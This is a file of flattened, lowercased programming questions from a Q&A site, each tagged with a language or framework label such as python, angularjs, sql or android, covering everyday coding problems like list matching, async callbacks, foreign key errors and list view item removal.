in python  how to compare two lists and get all indices of matches   this is probably a simple question that i am just missing but i have two lists containing strings and i want to  bounce  one  element by element  against the other returning the index of the matches. i expect there to be multiple matches and want all of the indices.  i know that list.index() gets the first and you can easily get the last. for example:    <pre><code>list1 = [ as144   401m   31tp01 ]  list2 = [ hde342   114   m9553   as144   as144   401m ] </code></pre>   then i would iterate through list1 comparing to list2 and output:<br> <code>[0 0 0 1 1 0]   [3 4]</code>  or etc for the first iteration<br> <code>[0 0 0 0 0 1]   [6]</code> for second<br> and <code>[0 0 0 0 0 0]</code> or <code>[]</code> for third      edit: sorry for any confusion. i would like to get the results in a way such that i can then use them like this- i have a third list lets call list3 and i would like to get the values from that list in the indices that are outputed. ie <code>list3[previousindexoutput]=list of cooresponding values</code>,python
loose dependency  scenario:    3 projects/assemblies:    assm1.class1    assm2.class2 -> depend on assm1.class1    assm3.class3 -> depend on assm2.class2    in vs  assm3.class3 will need to reference assm1.class1 as well  becos assm2 depend on it.    is there a way i can make it (assm)3 only depend 2 without 1     so that in future when i decided to change 2  to use/depend on new/diff thing like assm4.class4  i can just recompile assm2 without the need to recompile assm3.,.net
wait function finish set to rootscope angularjs  i have problem with asynchronous functions  i trying to call service and get the data using rootscope  i have controller which call the service and also call the rootscope. but before account service finish  the rootscope running first  and said undefined.   <pre><code>angular.module( account   [ ionic ]) .controller( accountcontrol   [ $rootscope    accountservice   function ($rootscope  accountservice) {   var cusid = 1;    accountservice.getaccountlist(cusid); //void function with new object and set into rootscope.    //when i do console.log  it said undefined   console.log($rootscope.customeraccount); }); </code></pre>   this is my account service   <pre><code>angular.module( account.service   [ ionic ]) .factory( accountservice   [ $rootscope   commonservice   customeraccount   function($rootscope commonservice customeraccount) { var factory = {};  factory.getaccountlist = function (cusid) {     var accountlist = [];     var body = {          cusid : cusid;     }     commonservice.invoke(url   getaccountsbycustomer   body  onsuccess  onfailed  null);     function onsuccess(data  options) {         var getresponsebody = data;         for (var i = 0; i &lt; getresponsebody.length; i++) {             accountlist.push({                 //mapping accountlist             });         }         $rootscope.customeraccount = new customeraccount(accountlist); //new customer model and set to rootscope     }     function onfailed(data  options  errmsg) {         //function failed     } } return factory; }]); </code></pre>   and model account like this   <pre><code>angular.module( pocket.customer.account  [ ionic ]) .factory( customeraccount   function () {    function customeraccount(accounts) {       this.credits = [];       this.deposits = [];       for(var i in accounts) {           if(accounts[i].key ==  crec ) {               this.credits.push(mapaccount(accounts[i]));           }else if(accounts[i].key ==  cdep ) {               this.deposits.push(mapaccount(accounts[i]));           }       }       this.credits = this.credits.length != 0   this.credits.sort(sort_by( product   false  function(a){return a.touppercase()})) :   ;       this.deposits = this.deposits.length != 0   this.deposits.sort(sort_by( product   false  function(a){return a.touppercase()})) :   ;   }    function mapaccount(account) {     return {         key : account.key            value :account.value            product :account.product      };   }    customeraccount.prototype.getcredits = function () {       return this.credits;   };    customeraccount.prototype.getloans = function () {       return this.loans;   };    customeraccount.prototype.getdeposits = function () {       return this.deposits;   };    customeraccount.create = function (accounts) {       return new customeraccount(accounts);   };    return customeraccount; }); </code></pre>   how i can run console.log after accountservice and set to rootscope finish  thank you,angularjs
search in string from an array of keys. php  i have a sentence like this  and array of some keys.   <pre><code>$string =  i have a sentence like this  and array of some keys  $keys = [ have    like    some ] </code></pre>   i need a resultant array which would check for the word in the string and collect the string which is followed by the particular key such as in the above sentence    <pre><code>have =&gt; a sentence like =&gt; this  and array of some =&gt; keys </code></pre>   i.e.     <pre><code>$result = [ have =&gt;  a sentence    like  =&gt;  this  and array of    some  =&gt;  keys ]; </code></pre>   the only hint i can provide is that i have been trying it with recursion and has been successful upto 80%  rest is quite buggy;    i am trying with this is code where <code>$preps</code> is key and <code>$query</code> is stirng value   <pre><code>public function sep($preps  $query) {     foreach ($preps as $prep) {         @list($rval  $lval) = explode(  $prep    $query);         if($lval) {             $this-&gt;sep[$prep] = $lval;             $this-&gt;sep($preps  $lval);             $this-&gt;sep($preps  $rval);         }     } } </code></pre>,php
how to choose only one radio button using angularjs  i ve tried searching for questions similar to mine  only to find out that our circumstances aren t the same. so i m posting this here.    i m trying to create a list of questions where the methods of selection depends on the question  so question #1 can have radio buttons  question #2 can have checkboxes  and so on. one set lets the user choose the answer using radio buttons  however they re behaving like checkboxes (minus the unchecking). am i missing something     below is my html:   <pre><code>&lt;ul style= padding-left:30px; &gt;     &lt;li ng-repeat= query in carousel.currentquestionobject.choices  style= padding-bottom:5px;  ng-init= carousel.checkboxcollection[query.id] = carousel.currentquestionobject.init &gt;         &lt;input type= {{carousel.currentquestionobject.inputtype}}  id= {{query.id}}  ng-model= carousel.checkboxcollection[query.id] &gt;         &lt;label for= {{query.id}}  style= font-family: metricweb-regular ;font-size:17px;cursor:pointer &gt;&amp;nbsp;&amp;nbsp;{{query.question}}&lt;/label&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   and below is my angularjs that deals with the radio button answers:   <pre><code>{ inputtype:  radio   init:false  question:  tell us about your needs...      choices: [             { question:  foo1   id:  qs1q1 }              { question:  foo2   id:  qs1q2 }              { question:  foo3   id:  qs1q3 }              { question:  foo4   id:  qs1q4 } ]}  </code></pre>   and this is what i m currently getting:    <a href= https://i.stack.imgur.com/gvhdw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gvhdw.png  alt= enter image description here ></a>    please help.    thank you.,angularjs
sql query for retrieving connecting trains  i have a database containing a lot of train times  for a lot of different trains. it looks something like this:    table1    station_id station_name etc    table2    stationname arrival departure trainnumber etc    i know how to retrieve the time of departure for a given train  but how would i proceed if i wanted to retrieve a travel plan containing several connecting trains based on a user selected departure station and arrival station     e.g someone want to go from london to manchester  but there are no direct trains travelling this route  so he would have to change train i liverpool. how would i query the database to get this result     i hope someone can help me with this as i am unable to find a solution.,sql
need to stylize area tag inside map  i have image and areas located inside   <pre><code>&lt;map name= number_areas &gt;     &lt;area href= #  shape= poly  coords= 190 1 285 1 285 95 190 94  id= area6 &gt;     .... </code></pre>   is there way to set css styles for area tag  like background  transparency etc,css
iphone: can i convert uiimageview animation to svg/gif file   is there any way to convert uiimageview animation which is composed of array of images to any animated format (i.e into gif/svg) in iphone,iphone
use < php as plain text in a .php file   i have this.php:   <pre><code>&lt; php  //some code   &gt; here goes the text that is plain text. whenever you use &lt; php in a .php file it precedes the php code that will be parsed and interpreted by php. </code></pre>   as you may have guessed  this file gives an error and refuses to run correctly. i don t want to use html entities as the result file isn t used as html. what are my options other than storing the string <strong><code>&lt; php</code></strong> in a variable,php
how can update the statement finding the day with the highest value and second highest value  i need to change the yes/no column where the day column has its highest value and second highest value.     id menu(int not null primary key)    ;      day(int null)   ;   yes/no(bit nul)<br> 100       ;                 1   ;       1<br> 101         ;           2   ;       0<br> 102         ;           3   ;       1<br> 103         ;           4   ;       0<br> 104         ;           5   ;       0      the result i should get is<br> id menu(int not null primary key)   ;   day(int null)   ;   yes/no(bit nul)<br> 100     ;               1       ;   1<br> 101         ;           2       ;   0<br> 102         ;           3       ;   1<br> 103         ;           4       ;   1<br> 104             ;       5       ;   1        i can change the line with  update menu set yes/no = 1 where day = 4     but since the days will continue rising that means i have to know which is the highest day before writing the statement. how can update the statement finding the day with the highest value and second highest value i tried update menu set yes/no = 1 where max(day),sql
shorten or replace links created using asp:repeater and buildlink(eval  i have a table of data. one of the fields on the table has a link created using an asp:repeater  then buildlink(eval. code is posted below. the links are much too long and make the table too wide and ugly. i d like to replace the link with a different word  as simple as  link here  maybe. or  just shorten the link somehow... any info is helpful  i am trying to learn as much as i can.    here s the code that creates the link i want to shorten or replace.    <pre><code>&lt;%# buildlink(eval( taskdefinition.url ).tostring()  eval( taskinstanceid ).tostring())%&gt; </code></pre>,asp.net
how to build and run c programs in sublime text 3 mac osx  i have installed sublime text 3 and a package control for it. now i m trying to build my hello-world.c but i cannot build it. when i open tools --> build with.. it offers me c++ single file but i want to build my program with c. there is no c alternative in the build systems menu.,c
i am trying to pull h1 tag  i have been searching online for awhile now.. i have a very datted php website. which is currently uses graphics instead of h1 tags..    i want to remove the images put h1 tags for better seo.    but i would like to display the title from the h1 tag into the website page title.    ie.   <pre><code>&lt;h1&gt;welcome to website&lt;/h1&gt; </code></pre>   to appear...   <pre><code>&lt;head&gt; &lt;title&gt;stackoverflow - welcome to website &lt;/title&gt; &lt;/head&gt; </code></pre>   note. there is over 150 pages so i cant manually change each page. note. header is a separate file than the content pages.,html
how to resume updating views when resumed avaudioplayer  i m struggling with this issue for so long but not able to find any solution for this    the issue i have is when i pause the audioplayer i want views to be paused from updating so i used timer invalidate to pause the views from loading but when i resume play only audioplayer is resumed not the views cause i invalidated the timer.     now i how i can resume updating views from that point where view was paused. by starting the timer again i can start updating views again but how program will know that at what view it was paused and it should resume updating views from that point. there are multiple views involved displayed code for only two.   <pre><code> -(void)playpauseaction:(id)sender  {   if      ([audioplayer isplaying]){   [sender setimage:[uiimage imagenamed:@ play.png ] forstate:uicontrolstateselected];   [audioplayer pause];   [timer invalidate];    } else {   [sender setimage:[uiimage imagenamed:@ pause.png ] forstate:uicontrolstatenormal];   [audioplayer play];   self.timer = [nstimer scheduledtimerwithtimeinterval:11 target:self selector:@selector(displayviewsaction:) userinfo:nil repeats:no];   }    }  - (void)displayviewsaction:(id)sender  firstviewcontroller *viewcontroller = [[firstviewcontroller alloc] init];  viewcontroller.view.frame = cgrectmake(0  0  320  480);  [self.view addsubview:viewcontroller.view];  [self.view addsubview:toolbar];  [viewcontroller release];  self.timer = [nstimer scheduledtimerwithtimeinterval:23 target:self selector:@selector(secondviewcontroller) userinfo:nil repeats:no];  -(void)secondviewcontroller { secondviewcontroller *secondcontroller = [[secondviewcontroller alloc] init];  secondcontroller.view.frame = cgrectmake(0  0  320  480);  [self.view addsubview:secondcontroller.view];   [self.view addsubview:toolbar];  [secondcontroller release];  self.timer = [nstimer scheduledtimerwithtimeinterval:27 target:self selector:@selector(thirdviewcontroller) userinfo:nil repeats:no]; } </code></pre>   thanks and appreciate for your answers and helping me out with this issue.,iphone
open python applet  quit enclosing applet  this is really hard to put into words.    i have two applets: applet a and applet b. applet a needs to be able to open applet b based on a certain interaction  then quit itself  and vice versa.    here s kind of what i m looking for:   <pre><code>#applet a  if [user interaction]     open applet b     quit applet a  but keep b open </code></pre>  <hr>  <pre><code>#applet b  if [another user interaction]     open applet a     quit applet b  but keep a open </code></pre>   (obviously this would be actual code  but trying to keep it simple here)    thanks in advance for your help!,python
execute code if not a touch screen and also width is 960px or over  these two conditionals work fine:   <pre><code>if ( jquery(window).width() &gt; 959 ) {     // do something if the browser window is 960px or more } if (!modernizr.touch) {     // do something if not a touch screen } </code></pre>   i need to only execute some code if the device is not a touch screen  and its also over 960px wide. for some reason this isnt working:    <pre><code>if    (    (!modernizr.touch) &amp;&amp; (jquery(window).width() &gt; 959) { } </code></pre>,jquery
how to do auto complete in city textbox  i have state and city dropdown list in an asp.net 3.5 application. however  i want city as a textbox  and upon me typing in it  autocomplete mode should occur.    i want to implement it through jquery  so can anyone please send me the code for this,jquery
combine multiple chars to an int  i have four unsigned chars  each containing a byte  that i want to combine together to form a single int32_t  where the bytes come one after another.   <pre><code>       unsigned char x1 = 0b11100111;        unsigned char x2 = 0b00010101;        unsigned char x3 = 0b10000110;        unsigned char x4 = 0b00001111; </code></pre>   with the four chars above the int32_t should have a binary representation of <code>0b11100111000101011000011000001111</code>.     how can this be done in c,c
how to change the frame of alertview in iphone app...   i want to add textbox on alertview. but when i m adding  it overlaps little with buttons on it...so i want to increase the height and width of alertview...could anybody tell any idea,iphone
how to change a $scope variable inside a filter  i need to change a <code>$scope</code> variable inside a filter. the <code>$scope</code> variable is used for a <code>ng-show</code> attribute and the information is only acceded in the filter because i have a <code>ng-repeat</code> with some information and applied by some filters and i need to know when the filters delete all my result to show a message... here is an example: (this is only an idea)   <pre class= lang-js prettyprint-override ><code>.controller( thing   function() {    $scope.showtext = false; })  .filter( filtertext   function() {    return function(information) {      if (information ==   ) { /* need to change $scope.showtext to true */ }    } }) </code></pre>   html:   <pre class= lang-html prettyprint-override ><code>&lt;div ng-view= showtext &gt; some text here &lt;/div&gt; &lt;div ng-repeat= info in information | filtertext &gt;&lt;/div&gt; </code></pre>   thanks.,angularjs
cant find  com.android.support:design:22.2.0   i want to use the <code>floatingactionbutton</code> but for that i need the library:   <pre><code>compile  com.android.support:design:22.2.0  </code></pre>   but when i add it to my gradle  i get the message:   <pre class= lang-none prettyprint-override ><code>a problem occurred configuring project  :mymodule . could not resolve all dependencies for configuration  :mymodule:_debugcompile .    could not find com.android.support:design:22.2.0.      searched in the following locations:          https://jcenter.bintray.com/com/android/support/design/22.2.0/design-22.2.0.pom          https://jcenter.bintray.com/com/android/support/design/22.2.0/design-22.2.0.jar          file:/d:/development/android/sdk/extras/android/m2repository/com/android/support/design/22.2.0/design-22.2.0.pom          file:/d:/development/android/sdk/extras/android/m2repository/com/android/support/design/22.2.0/design-22.2.0.jar          file:/d:/development/android/sdk/extras/google/m2repository/com/android/support/design/22.2.0/design-22.2.0.pom          file:/d:/development/android/sdk/extras/google/m2repository/com/android/support/design/22.2.0/design-22.2.0.jar      required by:          myproject:mymodule:unspecified </code></pre>   i tried updating my android sdk but everything is up to date:    <img src= https://i.stack.imgur.com/1briz.png  alt= enter image description here >    so why can t <code>com.android.support:design:22.2.0</code> be resolved     this is my gradle:   <pre><code>apply plugin:  com.android.application   android {     compilesdkversion 21     buildtoolsversion  21.1.2       defaultconfig {         applicationid  de.bla.myproject          minsdkversion 19         targetsdkversion 22         compileoptions {             sourcecompatibility javaversion.version_1_7             targetcompatibility javaversion.version_1_7         }     }      buildtypes {         debug {             debuggable true         }         release {             minifyenabled false             proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.txt          }     } }  dependencies {     compile project( :androidcircularcrop_lib )     compile  com.google.code.gson:gson:2.2.4      compile  com.android.support:appcompat-v7:22.0.0      compile  com.google.android.gms:play-services:+      compile  com.android.support:design:22.2.0      compile files( libs/eventbus-3.0.0-beta1.jar )     compile files( libs/mpandroidchartlibrary-2-1-0.jar )     compile files( libs/picasso-2.4.0.jar )     compile files( libs/youtubeandroidplayerapi.jar ) } </code></pre>,android
jquery show/hide when using inline-block  i have some html and css that looks like this:   <pre><code>&lt;div id= thecontainer &gt; &lt;div class= mydivs &gt;&lt;/div&gt; &lt;div class= mydivs  id= thisdiv &gt;&lt;/div&gt; &lt;/div&gt;  #thecontainer{text-align:center;} .mydivs{margin:0px auto;display:inline-block;} #thisdiv{display:none;} </code></pre>   i m using <code>inline-block</code> and margin:0px auto so that the <code>mydivs</code> are centered within <code>thecontainer</code>. the problem is that when i do this:   <pre><code>$( #thecontainer ).children().hide(); $( #thisdiv ).show(); </code></pre>   then <code>thisdiv</code> isn t centered anymore because the display changed from none to block instead of inline-block like i have it in the css definition.    i know i could write <code>.css( display   none )</code> and <code>.css( display   inline-block )</code> but i was wondering if there was a way to make this work by keeping <code>.show()</code>    thanks for your suggestions.,jquery
system.timespan to something i can use in ios  i m getting a bunch of information from a web server with soap and nsxmlparser  and one of the properties i m getting is time for when a kid is being picked up...    e.g. a response would be: pt15h    in the documentation it s called: system.timespan pickuptime    now  the other properties includes stuff like integers  strings and booleans and i just save them with e.g.    <pre><code>else if([elementname isequaltostring:@ a:lastname ]) {     aparent.lastname = currentelementvalue; } </code></pre>   what do i do with pickuptime  i need to get the time and show it in a label in a clean manner  like 15:00,ios
linking struct/union member to another struct/union member  i am somewhat new to c in regards to structures  unions and bitfields and need help. below is the slph_control which will  control  the bits in the destination of drvconf0 and drvconf1. after the code snippet i will explain what i need.   <pre><code>/* slph_control **********************************************/  typedef union {     struct     {         unsigned int sh0_bit0 :1;         unsigned int sh0_bit1 :1;     };     uint8 slph_control_byte; } slph_control;  slph_control my_slph_control;  /* drvconf0 **********************************************/  typedef union {     struct     {         unsigned int df0_bit0 :1;         unsigned int df0_bit1 :1;         unsigned int df0_bit2 :1;         unsigned int df0_bit3 :1;         unsigned int df0_bit4 :1;     };     uint8 drvconf0_byte; } drvconf0;  drvconf0 my_drvconf0;  /* drvconf0 **********************************************/  typedef union {     struct     {         unsigned int df1_bit0 :1;         unsigned int df1_bit1 :1;         unsigned int df1_bit2 :1;         unsigned int df1_bit3 :1;         unsigned int df1_bit4 :1;     };     uint8 drvconf1_byte; } drvconf1;  drvconf1 my_drvconf1; </code></pre>   now with the code above i want to link or copy data from and to like so:   <pre><code>sh0_bit0:1 to df0_bit4:1; sh1_bit1:1 to df1_bit0:1; </code></pre>   is there a way to do this  i am really lost and looked everywhere online for a solution to this. any suggestions are welcome!!!    thanks     eric,c
update table by inner join and where clause  <img src= https://i.stack.imgur.com/cv6rp.jpg  alt= tables >    got 2 tables as shown above. i want to update  leaverecord.consumed  from  approved.consumed  where the leaverecord.name = approved.name and leaverecord.leavetype = approved.leavetype. tried below query by getting <strong>error of  invalid use of group function</strong>   <pre><code>update leaverecord r inner join approved a on r.name = a.name set r.consumed = sum(datediff(a.todate a.fromdate)) where r.leavetype = a.leavetype and r.name = a.name </code></pre>,mysql
what is the shortest way to get argument passed into program   what is the shortest way to get argument passed into program. shortest = at least count of characters. i need it because i do puzzles that requires arguments and it repeats in every puzzle. i use now <code>import sys</code>  but i m not sure if it s shortest way.   <pre><code>import sys a = sys.argv[1] </code></pre>,python
what are the best practices to separate resource file from the asp.net web project   i have a web application project which contains few resource file. i am planning to create another one project for mobile where i should be able to use the same resource files.    so can you suggest me some best practices to separate the  resource files.    let me know if you need any clarifications for the same.,asp.net
make table rows clickable using jquery  in an asp.net web page  i have a table that shows results from a database query. in the same page  i have a form that adds a row to the database as well as displays the row at the end of table. i used jquery ajax to insert the record to the database and if it s successful then i created a <code>&lt;tr&gt; &lt;td&gt; ... &lt;/td&gt; &lt;/tr&gt;</code> element and appended this element to the table using jquery. this works fine. now i want to make the table rows clickable. i tried it using     <code>$( #table-name tr ).click(function () {       alert ( hello );         });</code>    click function doesn t work for the rows that i added using the form. is there any workaround  how can i make all rows clickable,jquery
(id) vs. (nssomeobject *) in objective-c/cocoa   is it better practice to use id or nssomeobject * when possible  i know the compiler can do better checking when it s explicit  but i was just wondering which is better practice.    e.g.:   <pre><code>- (ibaction)somebutton:(id)sender </code></pre>   vs.   <pre><code>- (ibaction)somebutton:(nsbutton *)sender. </code></pre>   are there any benefits to either of those,objective-c
new to sql  insert into  table  error  i m new to sql  there s an error in my syntax that i don t understand. any help/suggestions     i created a table called account   <pre><code>create table `account` (   `acc_id` int not null    `acc_name` varchar(45) not null    `acc_manager` varchar(45) not null    `acc_balance` varchar(45) not null    `acc_transactionlimit` int not null    `acc_creditlimit` int not null    `outlet_out_id` int not null    primary key (`acc_id`)    index `fk_account_outlet1_idx` (`outlet_out_id` asc)    constraint `fk_account_outlet1`     foreign key (`outlet_out_id`)     references `outlet` (`out_id`)     on delete no action     on update no action); </code></pre>   no problems so far. but when i try to insert records into the table i get the following error:   <blockquote>    error 1452 (23000): cannot add or update a child row: a foreign key   constraint fails (database.account  constraint fk_account_outlet1   foreign key (outlet_out_id) references outlet (out_id))  </blockquote>   i checked back on my outlet reference table:   <pre><code>    create table `outlet` (   `out_id` int not null    `out_name` varchar(45) not null    `out_manager` varchar(45) not null    `out_address` varchar(100) not null    `out_phone` varchar(15) not null    `out_email` varchar(45) null    primary key (`out_id`)) </code></pre>   i didn t find any problems with it.    yet when trying to insert:   <pre><code>insert into account(acc_id  acc_name  acc_manager  acc_balance  acc_transactionlimit  acc_creditlimit) values ( 01   white    mr.good    352.00   1000.00  500.00)  ( 02   hopkins    mr.good    403.00   1000.00  500.00)  ( 03   aumbry    mr.good    240.00   1000.00  500.00)   ( 04   kaze    mr.good    76.00   1000.00  500.00)   ( 05   ashley    mr.bad    24.00   1000.00  500.00)   ( 06   zoara    mr.bad    503.00   1000.00  500.00)   ( 07   shawn    mr.bad    34.00   1000.00  500.00)   ( 08   obsie    mr.bad    278.00   1000.00  500.00)   ( 09   ven    mr.mr.bad    345.00   1000.00  500.00)   ( 10   zhan    mr.mr.bad    491.00   1000.00  500.00); </code></pre>   i get the error stated above.,mysql
recording system audio via java  using java  i assume java sound api is it possible to record the system audio in real time  by this i mean everything from system error notifications to itunes and chrome.,java
read a huge text document in python  i have a 16gb text document file with the following structure:   <pre><code>name1 1 0 1 0 1 1 1 0 0 1  ... ... namen 1 1 1 0 1 0 -1 1 0 1 </code></pre>   i want to be able to do the following processing to the file:    <pre><code>my_dict = {}  for line in data.split( \n ):     cells = line.split()     my_dict[cells[0]] = [int(x) for x in cells[1:]] </code></pre>   the problem is that if i open the file by:   <pre><code>open(data) as f:      content = f.readlines() </code></pre>   i get:   <blockquote>     list  object has no attribute  split .  </blockquote>   is there any way to open the file to be able to do the above processing,python
maximum execution time for exporting a mysql database  i am trying to export a giant database on my local hosting using cpanel.  i get this error even though i ve set the php.ini max execution time to a huge number: max_execution_time=9999. any thoughts    <pre><code>fatal error: maximum execution time of 30 seconds exceeded in c:\xampp2\phpmyadmin\libraries\session.inc.php on line 108 </code></pre>,mysql
overloaded  +  operator not compiling  i m trying to understand the concept of operator overloading by writing some simple  silly tests. i thought this might be useful as this helps me understand c++ better.     why does this example implementing a concatenation operator of <code>animal</code> class and <code>std::string</code> not compile  g++ gives me the following error:   <blockquote>    extra qualification  animal::  on member  operator+  [-fpermissive]  </blockquote>   this is the code:   <pre><code>#include &lt;iostream&gt; using namespace std;  class animal {  public:     string _type;     string _name;     string _sound;       animal &amp; animal::operator+(const string &amp; o); };   animal &amp; animal::operator+(const string &amp; o) {     cout &lt;&lt;  plus operator \n ;     this-&gt;_name=o;     return *this; }   int main( int argc  char ** argv ) {     animal a;      a+ hhh ;     cout&lt;&lt;a._name;     return 0; } </code></pre>,c++
unable to call anchor tag in html   the search button below does not take the control to the div tag with id resultlogbus when clicked      <pre><code>&lt;a href= #resultlogbus  class= ui-btn  onclick= getbustime();  &gt;search &lt;/a&gt;  &lt;fieldset class= ui-field-contain  data-role= controlgroup &gt;     &lt;a href= #mypopupdialog2  data-rel= popup  data-position-to= window  data-transition= none  class= ui-btn ui-corner-all ui-shadow ui-btn-inline  onclick= getuserpost();  &gt;view post&lt;/a&gt;     &lt;div id= resultlogbus  &gt;       &lt;h5&gt;bus time will be displayed here real time once you select the above filters and click search &lt;/h5&gt;    &lt;/div&gt; &lt;/fieldset&gt; </code></pre>,html
php complex uses - interact with external devices  is it possible to access &amp; control external devices in php     for example  would it be capable of changing the speed of a usb fan or change the direction of a wireless toy car.    i m trying to go beyond web dev and i m wondering if the programming language i use is capable of handling my ideas or should i consider changing the environment.    if these would be possible  i d very much appreciate any pointers to reading materials or suggestions on other languages that might be more suitable.    thanks!,php
get each word from a line in a text file  i am trying to read a txt file  and i can get the line which i want  but i can not print every  words in this line one by one;    for example: the line looks like:   <pre><code>hello world 1 2 3 </code></pre>   and i need print them one by one which looks like:   <pre><code>hello    world    1    2    3     </code></pre>   i got the segmentation fault core dumped error   <pre><code>char temp[256]；  while(fgets(temp  256  fp) != null) {     ...     int templength = strlen(temp);     char *tempcopy = (char*) calloc(templength + 1  sizeof(char));     strncpy(temcopy  temp  templength); // segmentation fault core dumped here；                                      // works fine with temp as  name country      name = strtok_r(tempcopy  delimiter  &amp;context);     country = strtok_r(null  delimiter  &amp;context);     printf( %s\n   name);     printf( %s\n   country); } </code></pre>   can anyone help me fix the code <br> thanks!,c
python script for retrieving the number of google hits of a query  how can i get the number of hits for a google query using python     i have a list containing the titles of songs from the beatles:   <pre><code>    songs = [ love me do    p. s. i love you    please please me ] </code></pre>   and i would like to retrieve the number of google hits when i search google for:   <pre><code>    the beatles love me do     the beatles p. s. i love you     the beatles please please me </code></pre>   and store these hits into another list. so in the end i d end up with:   <pre><code>    google_hits == [42400000  2740000  28200000] </code></pre>,python
timelimit for valid java input without system.exit  i have a question how to implement a variation of whats found here:    <a href= https://stackoverflow.com/questions/44038081/set-time-limit-on-user-input-scanner-java >set time limit on user input (scanner) java</a>    in my case  i would like to ignore the input if the timelimit is reached while keeping the program alive.   <pre><code>string str =   ; timertask task = new timertask(){   public void run(){      if(str.equals(  )){          system.out.println( no valid input detected );          //timertask should end here along with the input          //other example has system.exit which will also terminate the           //entire program      }else {          // still keep the program alive. the condition itself isn t           //important.      } }  timer timer = new timer(); timer.schedule(task  10*1000); scanner scanner = new scanner(system.in);  do{       system.out.println( type a message );       str = scanner.nextline(); }while(!str.equals( hello ));  timer.cancel();      reached here! </code></pre>   if the input is given within 10 seconds(and it s valid)  the loop ends and the task is canceled  which is perfect. however  if the input is not valid and the timer ends  i would like for it to stop asking for input and skip to the  reached here  position. is that even possible,java
want to remove the selected item from listview  i have used a list and an arrayadapter to put strings in a listview.  now i want to remove the selected item.  i have tried the following code  but it s not working well. how can i fix this     here s my code:   <pre><code>textview t1; string[] temp; mylist = (listview) findviewbyid(r.id.list); final list&lt;string&gt; wordlist = arrays.aslist(temp); adapter = new arrayadapter&lt;string&gt;(this                                     android.r.layout.simple_list_item_multiple_choice                                      wordlist); delete.setonclicklistener(new onclicklistener() {     @override     public void onclick(view arg0) {        int index = mylist.getselecteditemposition();        int count=mylist.getcount();        for(int i=0;i&lt;=count;i++) {            if (index &gt;= 0) {                t1.settext(wordlist.remove(index));            }            adapter.notifydatasetchanged();        }     } }); </code></pre>   here s more source code:   <pre><code>    public class edit extends activity {         sharedpreferences sharedpref;         listview mylist;         string[] temp;         string name           arrayadapter&lt;string&gt; adapter;         button save  delete  cancel;         textview t1;          @override         protected void oncreate(bundle savedinstancestate) {             // todo auto-generated method stub             super.oncreate(savedinstancestate);             setcontentview(r.layout.edit);             mylist = (listview) findviewbyid(r.id.list);             cancel = (button) findviewbyid(r.id.cancel1);             save = (button) findviewbyid(r.id.save1);             delete = (button) findviewbyid(r.id.delete1);             t1=(textview)findviewbyid(r.id.textview1);             sharedpref = preferencemanager                     .getdefaultsharedpreferences(getapplicationcontext());             name = sharedpref.getstring( visible_selected     );              string delimiter =  \n ;             temp = name.split(delimiter);              mylist.setitemscanfocus(true);             mylist.setchoicemode(listview.choice_mode_multiple);              final list&lt;string&gt; wordlist = arrays.aslist(temp);                adapter = new arrayadapter&lt;string&gt;(this                      android.r.layout.simple_list_item_multiple_choice  wordlist);             mylist.setadapter(adapter);             save.setonclicklistener(new onclicklistener() {                  @override                 public void onclick(view arg0) {                     // todo auto-generated method stub                  }             });              delete.setonclicklistener(new onclicklistener() {                  @override                 public void onclick(view arg0) {                     mylist.setonitemclicklistener(new onitemclicklistener() {                         private string getselecteditemoflist;                         @override                         public void onitemclick(adapterview&lt; &gt; arg0  view arg1                                  int arg2  long arg3) {                             // todo auto-generated method stub                              getselecteditemoflist = sortedlist.get(arg2).getstr_movieparam();                   }             });              cancel.setonclicklistener(new onclicklistener() {                  @override                 public void onclick(view v) {                     // todo auto-generated method stub                  }             });          }      } </code></pre>   here s my updates code:   <pre><code>enter code here </code></pre>   delete.setonclicklistener(new onclicklistener() {   <pre><code>            @override             public void onclick(view arg0) {                 // todo auto-generated method stub          adapter.remove(getselecteditemoflist);          adapter.notifydatasetchanged();             }         });         mylist.setonitemclicklistener(new onitemclicklistener() {              @override             public void onitemclick(adapterview&lt; &gt; arg0  view arg1  int arg2                      long arg3) {                 // todo auto-generated method stub                 sparsebooleanarray checkedpositions =mylist.getcheckeditempositions();                 if(checkedpositions.get(arg2)==true){                 getselecteditemoflist = (string) mylist.getitematposition(arg2);                 t1.append(getselecteditemoflist.tostring()+ \n );}             }         }); </code></pre>,android
nth-child beginning from middle of the html  i may have random html......   <pre><code>&lt;div&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; .... &lt;h1&gt;&lt;/h1&gt; &lt;h1&gt;&lt;/h1&gt; ... &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; .... &lt;/div&gt; </code></pre>   now  i want to count to heading as first second third etc child. for eg. if i set h1:first-child{} then it will not select as in the above example because it s not in first position of div.    so  how can i style assuming nth-child(1) for first h1 nth-child(2) for second h2 etc,css
google translate api issue  i am trying to translate a simple string using google translate api. although i have not setup billing now but i have my api key to accomplish this.    it is giving an error/exception:    <pre><code>google.apis.requests.requesterror daily limit exceeded [403] errors [     message[daily limit exceeded] location[ - ] reason[dailylimitexceeded] domain[usagelimits] ] </code></pre>   please let me know how can i overcome this.    thanks.,.net
does moving a where clause to the join clause improve performance   i have a slow-running update statement  and i was curious if moving the where condition to the join clause would improve performance. here s the query:   <pre><code>update t1 inner join (select id  group_concat(x) as x from t3 group by id) as t2  on t1.id=t2.id set t1.x=t2.x where t1.type= something ; </code></pre>   now... for a very big table (millions of records)  would it be faster to do this    <pre><code>update t1 inner join (select id  group_concat(x) as x from t3 group by id) as t2  on t1.id=t2.id and t1.type= something  set t1.x=t2.x; </code></pre>,mysql
